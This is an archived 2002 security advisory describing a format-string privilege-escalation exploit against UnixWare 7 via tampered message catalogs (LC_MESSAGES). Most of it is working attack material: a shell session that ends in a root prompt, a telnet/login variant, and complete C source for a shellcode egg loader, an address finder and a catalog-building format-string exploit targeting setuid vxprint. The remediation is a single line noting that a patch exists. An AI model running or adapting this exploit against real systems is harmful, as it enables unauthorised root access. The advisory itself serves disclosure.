12th Feb 2002 [SBWID-5088]
COMMAND
Unixware Message catalog exploit
SYSTEMS AFFECTED
Unixware 7.x
PROBLEM
jGgM posted multiple UnixWare 7 root exploits based on \"message
catalog\" :
Hacker can modify message catalog and can build format string exploit.
Exploit :
=======
$ gcc -o expshell expshell.c
$ gcc -o getret getret.c
$ gcc -o fmt_exp fmt_exp.c
$ ./expshell
$ ./getret
e=8047af7
$ ./fmt_exp 0x8047af7 16 ( 16 is offset )
...........(wait 30 minutes ). ......
# id
uid=0(root) gid=3(sys) ......................
This can exploit all of unixware 7 setuid/setgid command.
Also, can exploit telnetd and login :
$ telnet
telnet> env def LC_MESSAGES /tmp
telnet> o localhost
Trying....
.....
login: blah blah..
password: blah.. blash..
...... (wait 30 minutes.. )
#
Here is the code.
------------------ expshell.c ------------------
#include <stdio.h>
char shellcode[]=
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\xeb\\x1a\" /* jmp <shellcode+28> */
\"\\x33\\xd2\" /* xorl %edx,%edx */
\"\\x58\" /* popl %eax */
\"\\x8d\\x78\\x14\" /* leal 0x14(%eax),%edi */
\"\\x57\" /* pushl %edi */
\"\\x50\" /* pushl %eax */
\"\\xab\" /* stosl %eax,%es:(%edi) */
\"\\x92\" /* xchgl %eax,%edx */
\"\\xab\" /* stosl %eax,%es:(%edi) */
\"\\x88\\x42\\x08\" /* movb %al,0x8(%edx)
*/
\"\\x83\\xef\\x3b\" /* subl $0x3b,%edi */
\"\\xb0\\x9a\" /* movb $0x9a,%al */
\"\\xab\" /* stosl %eax,%es:(%edi) */
\"\\x47\" /* incl %edi */
\"\\xb0\\x07\" /* movb $0x07,%al */
\"\\xab\" /* stosl %eax,%es:(%edi) */
\"\\xb0\\x0b\" /* movb $0x0b,%al */
\"\\xe8\\xe1\\xff\\xff\\xff\" /* call <shellcode+2> */
\"/bin/ksh\"
;
main(int argc, char *argv[])
{
char buff[1024];
sprintf(buff, \"EGG=%s\", shellcode);
putenv(buff);
putenv(\"LC_MESSAGES=/tmp\");
system(\"/usr/bin/tcsh\");
}
---------------------------------------------------------------
---------------- getret.c --------------------
main()
{
char *a;
a = getenv(\"EGG\");
printf (\"e=%p\\n\", a);
}
-----------------------------------------------
---------------- fmt_exp.c -----------------------------
#include <stdio.h>
#include \"shellcode.h\"
/* This is base of format string return address */
/* Base address of vxprint is 0x20c7c(134268) */
#define BASE 134268
main(int argc, char *argv[])
{
FILE *fp;
char *retaddr;
long g_len, offset;
int count, count2, line=700, n=19;
if(argc < 2 || argc > 3) {
printf(\"Usage: %s ret-address offset\\n\", argv[0]);
exit(1);
}
retaddr = argv[1];
if(argc == 3) offset = atol(argv[2]);
else offset = 0;
g_len = strtol(retaddr, NULL, 16);
g_len -= BASE;
g_len += offset;
fp = fopen(\"testdef\", \"w+\");
if(fp == NULL) {
fprintf(stderr, \"can not open file.\\n\"); exit(1);
}
for(count=0; count<line; count++) {
for(count2=0; count2<n; count2++)
fprintf(fp, \"%%10x\");
fprintf(fp, \"%%%dx%%n\\n\", g_len);
}
fclose(fp);
remove(\"testout\");
system(\"mkmsgs testdef testout\");
mkdir(\"/tmp/LC_MESSAGES\", 0755);
system(\"mv
testout /tmp/LC_MESSAGES/vxvm.mesg\");
printf(\"ret addr = 0x%x\\n\", g_len);
/* this, also can any set uid command */
execl(\"/usr/sbin/vxprint\", \"vxprint\", \"---\", NULL);
}
SOLUTION
Caldera has posted a patch. See caldera support.
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